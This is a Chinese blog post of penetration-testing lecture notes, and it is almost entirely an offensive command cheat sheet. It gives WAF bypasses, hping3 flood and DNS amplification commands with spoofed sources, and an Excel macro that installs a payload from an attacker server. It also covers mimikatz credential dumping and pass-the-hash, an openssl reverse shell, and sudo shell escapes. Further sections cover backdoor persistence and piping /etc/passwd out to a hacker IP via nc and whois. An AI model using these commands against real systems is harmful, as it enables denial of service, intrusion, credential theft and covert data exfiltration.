加载中...

渗透测试

渗透开始

Class: IT
Created: November 5, 2022 6:33 PM
Reviewed: No
Type: Lecture

1.信息搜集

2.漏洞发掘

3.公网攻击

  • WebAttack

    • WAF绕过

      1)特殊字符,fuzz测试

      2)编码

      3)用百度,谷歌的UA头 user-agent

      4)特殊目录添加 admin install

      xxx/?id=1 == xxx/admin?id =1

      5)multipart

      在请求包放一个无害文件,让防火墙误以为你再上传文件

      6)参数多个

      http://xxxx/?id=1&id=1 union select 在后面放攻击语句

    序列化和反序列化

    XSS注入

    SQL注入原理

    木马

    Up-load 漏洞

    其他Web漏洞

  • DDOS

    1)HTTPs攻击

    2)慢速攻击

    apt-get install openssl和libssl-dev和slowhttptest

    3)syn flood

    syn洪水攻击

    git clone

    https://github.com/EmreOvunc/Python-SYN-Flood-Attack-Tool.git

    4)dns放大攻击

    发送给dns服务器数据包94

    返回的数据包大小160+

    典型的流量放大攻击,以小汇多

    利用协议特定进行放大流量

    apt-get install dnsutils

    dig ANY qq.com @[dns的ip]

    利用回包进行攻击

    5)hping3

    定制发送任何的数据包

    • a 伪造源地址
    • q 不返回
    • n 不解析域名
    • s 源端口
    • d 字节数
    • p 端口
    • -flood 以flood形式攻击

    syn-flood

    hping3 -c 3000 -d 120 -S -w 64 -p 80 --flood --rand-source [目标ip]

    hping3 -S -P -p 80 --flood --rand-source [目标ip]

    tcp-flood

    hping3 -SARUFP -p 80 --flood --rand-source [目标ip]

    icmp-flood

    hping3 -q -n -a 1.1.1.1 --icmp -d 56 --flood [目标ip]

    udp-flood

    hping3 -a 1.1.1.1 --udp -s 53 -d 100 -p 53 --flood [目标ip]

    LAND

    特殊的syn-flood攻击

    源地址和目的地址都是受害者,自己和自己完成三次握手

    hping3 -n -a [目标ip] -S -d 100 -p 80 --flood [目标ip]

    6)TCP全链接DOS攻击

    nping --tcp-connect --rate=10000 -c 100000000 -q [目标ip]

  • 社工

    • 钓鱼

      • Excel宏

        msfenvom生成 -f -o xx.msi

        放到服务器

        Sheet1插入—宏

        第一行EXEC(“msiexec /q /i http:\ip\xx.msi”)

        第二行HALT()

        列名AUTO-OPEN

        隐藏

        保存启用宏的Excel

      • lnk

        cs的powershell脚本

        lnk新建绝对地址加脚本参数

        修改图标

      • Unicode

        aexe.mp3会当成木马

      • word宏

        CS word 宏 复制

        word 打开宏编辑 复制到相应文档(Microsoft文档对象)

    • 点劫攻击clickjacking

      目标服务器未设置X-Frame-Options header

      导致我们自己可以创建一个钓鱼网站,iframe src=目标网站

      然后iframe xxx自己的恶意网站(全透明)

      也就是一个钓鱼网站直接远程调用别的服务器的页面

      例如我的钓鱼网站

      <html>
      <head>
      <title>
      来和鹿鸣Lumi互动吧!!!
      </title>
      <head>
      <style>
      iframe {
      	width: 1440px;
      	height: 900px;
      	position: absolute;
      	top: 30px;
      	left: 450px;
      	z-index: 2;
      	-moz-opacity: 0;
      	opacity: 0;
      	filter: alpha(opacity=0);
      }
      </style>
      </head>
      </head>
      <body>
      <center>
      <div>
      <img src=" https://ss1.bdstatic.com/70cFvXSh_Q1YnxGkpoWK1HF6hhy/it/u=1242777858 ,3501957407&fm=11&gp=0.jpg" height="60%">
      <br>
      <button>点击进行互动</button>
      </div>
      </center>
      <iframe src="https://blog.csdn.net/lady_killer9" scrolling="no"></iframe>
       
      </body>
      </html>
      被劫持的界面为csdn的界面
      

4.内网攻击

  • 内网信息搜集

    whoami /all

    ipconfig 获取ip地址信息

    ipconfig /all 获取详细的ip地址信息

    arp -a 查看arp表

    systeminfo 查看操作系统的信息

    wmic product 查看安装了什么软件

    wmic product get name,version 查看安装的软件和版本信息

    wmic startup启动项

    wmic startup get command,caption查看启动项的名称和地址

    wmic service list brief 将服务信息简单输出

    wmic useraccount list brief检查用户

    wmic logon list brief 登录用户

    wmic qfe 查看补丁

    schtasks /query /fo LIST /v 查看计划任务详细信息

    schtasks /query /fo list 1>null 查看错误配置的方法

    net user 查看本地用户 net localgroup查看用户组 net user user1 /domain

    net session 显示本地和远程的会话

    net view 查看内网的共享

    net statistics workstation 查看电脑登录信息

    net share 查看自己共享了什么东西

    net time /domain

    net group /domain 查看域组net group “domain computers” /domain 查看域其他用户信息net group “domain controllers” /domain

    nltest /domain_trusts nltest /DCLIST:test1.com查看域信息

    nslookup -qt=[type] [domain]

    query user ;; qwinsta 查看现在登录的用户

    net config workstation 查看电脑信息

    tasklist进程查看 netstat -ano 端口查看

    小型主机发现

    CMD:for /l %i in (1,1,255) do @ping -w 1 -n 1 192.168.1.%i | findstr “TTL=”

    POWERSHELL:for (\(i;\)i -lt 255;$i= \(i +1){ping -w 1 -n 1 192.168.1.\)i}

  • 提权

    • UAC

    • 令牌窃取

      use incognito

      list_tokens -u

      impersonate_token [TEST1\Administrator]上面显示的其中一个

      shell

    • 纵向越权

      1)migrate [pid]之后会获得该进程对应用户的权限

      2)load minikatz

      kerberos_ticket_list

      kerberos_ticket_use [path]

      //获得密码hash run hashdump

      add_user [user][passwd] -h [domain_ip]

      add_group_user [user]”domain admins” -h [domain_ip]

    • 横向越权

      前提上面已经完成域管理的添加

      cmd:net use \ip\c$ “passwd” /user:user_name

      tasklist /S ip /U name /P passwd

      copy xx \ip\c$

      at \ip 9:51PM cmd.exe /c “command”

    • minikatz

      用户信息ntds.dit LMHash or NTLMHash

      直接发送到目标机器

      mimikatz “privilege::debug” “log” “sekurlsa::logonpasswords”

      几种方法会启动一个cmd.exe

      mimikatz”privilege::debug” “sekurlsa:pth /user:name /domain:test1.com /ntlm:[hash]”

      mimkatz “privilege::debug” “sekurlsa:ekeys” aes256的值

      mimikatz ”privilege::debug” “sekurlsa::pth /user:name /domain:test1.com /aes256:[aes256]”

    • 票据传递

      mimikatz “privilege::debug” “sekurlsa::tickets /export”

      mimikatz “kerberos::purge”

      mimikatz “sekurlsa::ptt” 票据文件地址”

    • wmic

      wmic /node:ip /user:name /password:passwd process call create “cmd.exe /c command”

  • 代理和隧道

    检查代理

    env | grep -i proxy

    vi /etc/environment

    取消代理

    unset [TYPE_PROXY]

    • 跳板

      在meterpreter中

      run get_local_subnets

      run autoroute -s 192.168.1.0/24

      run post/windows/gather/arp_scanner rhosts=192.168.1.0/24

      background

      run auxiliary/server/socks_proxy

      set srvhost 127.0.0.1 set srvport 10044 set version 4a(对应下面的sock4)

      vi /etc/proxychains4.conf最后一行

      sock4 127.0.0.1 10044 也可以sock5 127.0.0.1 10044 与上面的对应

      proxychains [command] 进行代理转发

    • 端口转发和端口映射

      portfwd flush清理一下

      portfwd add -L hackerip -l hackport -p 80 -r 目标主机 转发

      portfwd -l hackport -p 3389 -r 目标主机 映射此时可以在本地端口暴力破解

      之后可以在命令行rdesktop hacker_ip:port远程连接

    • ssh隧道

      将能访问的主机变为自己的一个端口去访问

      • 正向

        在中间人

        ssh -CNfL 0.0.0.0:7777:内网另一台:port root@127.0.0.1

        输入中间人的密码

      • 反向

        中间人

        ssh -qTfnN -R 2222:127.0.0.1:22 root@hackerip

        将中间人的22转发到hackerip的2222

        ssh -qTfnN -R 2222:内网另一台主机:port root@hackip

        将内网port转发给hackerip的2222

        黑客

        ssh -p 2222 root@127.0.0.1

      • socks5代理

        ssh -qTfnN -D 7070 root@中间人公网ip

        访问 hack7070 输入中间人密码

      • 本地转发

        ssh -L 7777:内网另一台:port root@中间人 -fN

      • 远程转发(反向为了防止防火墙在防御你)

        中间人

        vi /etc/ssh/ssh_config GatewayPorts yes

        systemctl ssh restart

        在另一台内网主机(现在已经打下来)

        ssh -R 8877:内网主机ip:port root@中间人公网ip

    • openssl

      hacker

      openssl req -x509 -newkey rsa:4096 -keyout key.prem -out cert.pem

      -days 365 -nodes

      openssl s_server -quiet -key key.prem -cert cert.prem

      mkfifo /tmp/s;/bin/sh -i </tmp/s 2&>1 | openssl s_client -quiet -connect hackip:port >/tmp/s; rm -f /tmp/s

    • netsh(windows)

      正向

      中间人 netsh interface proxyport add listenport=7777 v4tov4

      connectaddress=内网其他ip connectport=内网port

      netsh interface proxyport show all

      netsh interface proxyport reset

      反向

      内网其他主机中的木马反向连接到中间人的ip端口

      netsh interface proxyport add listenport=7777 v4tov4 connectaddress=hackip connectport=hackport

    • neo-regreg

      python neoreg.py generate -k [mima]会生成一些php jsp脚本

      传到中间人网站

      python neoreg.py -u http://中间人中的脚本 -k [mima]

    • earthworm

      正向

      ./ew -s ssocked -l 7777

      中间人

      ./ew -s rcsocks -l 7777 -e 1028

      内网其他

      ./ew -s rssocks -d 中间人ip -e 1028

    • ptunnel

      icmp

      hacker

      ptunnel -x 1234

      中间人

      ptunnel -p hack -lp hackport -da 内网其他主机 -dp port -x 1234

    • dns2tcp

      都是linux现将双方的hosts文件添加中间人的ip 和随便域名

      中间人

      vi /etc/dns2tcpd.conf

      user=root 加入key=1234

      把listen和domain 0.0.0.0 和上面的域名

      dns2tcpd -f /etc/dns2tcpd.conf -F -d 3

      出错

      systemctl stop systemd-resolved

      hack

      dns2tcpc -r ssh -k 1234 -z domain ip -l 8888-c -d 3

      ssh -p 8888 ip

    • frp

      中间人

      vi frps frps.ini

      添加一个token=1234

      frps -c frps.ini

      内网其他

      打开frpc.ini

      server_addr改为hacker

      后面按需求改

      格式[名称]参数1=val1 …

      frpc -c frpc.ini

  • 其他方法

    certutil -urlcache -split -f “ http://ip/file ” [file_path]

5.维持权限

  • 提权

    • MSF

      use exploit/windows/local/ask

      set session set filename QQ.exe 向用户弹出QQ运行请求(伪装成QQ)

    • Linux提权

      ash

      sudo ash

      awk

      sudo awk 'BEGIN {system("/bin/sh")}'

      bash

      sudo bash

      csh

      sudo csh

      curl

      sudo curl file:///etc/shadow

      dash

      sudo dash

      ed

      sudo ed

      !/bin/sh

      env

      sudo env /bin/sh

      expect

      sudo expect -c 'spawn /bin/sh;interact'

      find

      sudo find . -exec /bin/sh ; -quit

      ftp

      sudo ftp

      !/bin/sh

      less

      sudo less /etc/passwd

      !/bin/sh

      more

      sudo more /etc/passwd

      !/bin/sh

      man

      sudo man man

      !/bin/sh

      socat

      sodu socat stdin exec:/bin/sh

      ssh

      sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

      vi

      sudo vi -c ':!/bin/sh' /dev/null

      zsh

      sudo zsh

      pico

      sudo pico

      RX

      reset; sh 1>&0 2>&0

      rvim

      sudo rvim -c ':python3 import os; os.execl("/bin/sh","sh","-c","reset; exec sh")'

      perl

      sudo perl -e 'exec "/bin/sh";'

      tclsh

      sudo tclsh

      exec /bin/sh <@stdin >@stdout 2>@stderr

      git

      sudo git -p help config

      !/bin/sh

      script

      sudo script -q /dev/null

      taskset

      taskset 1 /bin/sh -p

      tar命令注入

      find / -name "." -type f -path "/home/" -exec ls -al {} ; 2>/dev/null

      发现/home/susan/.secret

      之后可以看到susan的密码

      su susan就可以切换到susan的权限


      SID提权

      find / -perm -4000 -type f -exec ls -la {} ; 2>/dev/null

      find / -perm -u=s -type f 2>/dev/null

      可以看到

      /usr/bin/xxd

      xxd /etc/shadow | xxd -r

      可以看到密码/etc/shadow的加密密码,复制root那一条保存为pass.txt

      john [—format=crypt] pass.txt -w=/usr/share/wordlists/rockyou.txt

      发现密码是root---secret123

      ==================

      NFS提权

      kali

      nmap 192.168.87.134扫描目标服务器端口

      发现2049端口,这个是nfs端口

      showmount -e 192.168.87.134

      发现

      /home/peter的目录是开放的

      cd /tmp

      mkdir nfs

      mount -t nfs 192.168.87.134:/home/peter /tmp/nfs/

      ls -la /tmp/nfs/ 可以看到目标peter上的文件夹

      cp /bin/bash /tmp/nfs/ 发现权限不够

      此时需要在kali上面伪造一个和目标一模一样的peter

      groupadd -g 1005 peter

      adduser peter -uid 1001 -gid 1005

      cd /tmp/nfs/

      su peter 转化到kali的peter上

      mkdir .ssh 在目标peter的共享文件夹上创建一个.ssh文件夹,为以后使用ssh去连接他做准备

      cd ~ 进入kali的peter的文件夹

      ssh-keygen 生成ssh的key(如果有选项,都选默认即可)

      cd /tmp/nfs/

      cat ~/.ssh/id_rsa.pub > ./.ssh/authorized_keys 把kali的peter的ssh密钥复制到目标peter的.ssh文件夹中

      cd ~/.ssh

      之后回到kali的peter的.ssh文件夹

      ssh -i id_rsa peter@192.168.87.134 此时就可以免密码登录到目标的peter

      sudo -l 查看能使用什么命令

      发现strace可以无密码使用

      sudo strace -o /dev/null /bin/sh


      docker提权

      docker --version

      docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

      ===================

  • 后门

    永久后门植入

    meterpreter shell 运行是在内存里的,重启消失,所以需要植入后门

    卸载对方的补丁

    给对方安装一些有漏洞的软件(比如说ftp程序,输入法。。。。)

    msf永久后门

    run metsvc -A 设置端口上传后门文件

    会开启一个31337端口

    jobs可以看到metsvc_bind_tcp

    连接

    use exploit/multi/handler

    set payload windows/metsvc_bind_tcp

    set rhost [目标ip]

    set lport 31337

    exploit


    植入启动型后门

    在session中

    run persistence -A -S -U -i 10 -p 4321 -r [自己ip]

    或者

    run persistence -X -i 10 -p 4321 -r [自己ip] (成功率高)

6.隐藏踪迹

  • 加密通信

    linux加密传输

    目标:

    cat /etc/passwd | base64 | nc -nv [黑客ip] 3333 -q 1

    黑客:

    nc -l -p 3333 > kali.txt


    传输文件

    目标:

    nc -nv [黑客ip] 3333 < [要传的文件] -q 1

    黑客:

    nc -lp 3333 > xx.txt


    两台都是Linux的情况

    目标:

    whois -h [黑客ip] -p 4444 cat /etc/passwd | base64

    黑客:

    nc -l -v -p 4444 | sed "s/ //g" | base64 -d


    两台都是linux,并且要加密通信

    nc的加密版ncat

    目标:

    ncat -c bash --allow [黑客ip] -vnl 3333 --ssl 只允许黑客的ip去控制它

    黑客:

    nc -nv [目标ip] 3333 --ssl

posted @ 2023-04-15 15:43  泠の半掉线  阅读(69)  评论(0)    收藏  举报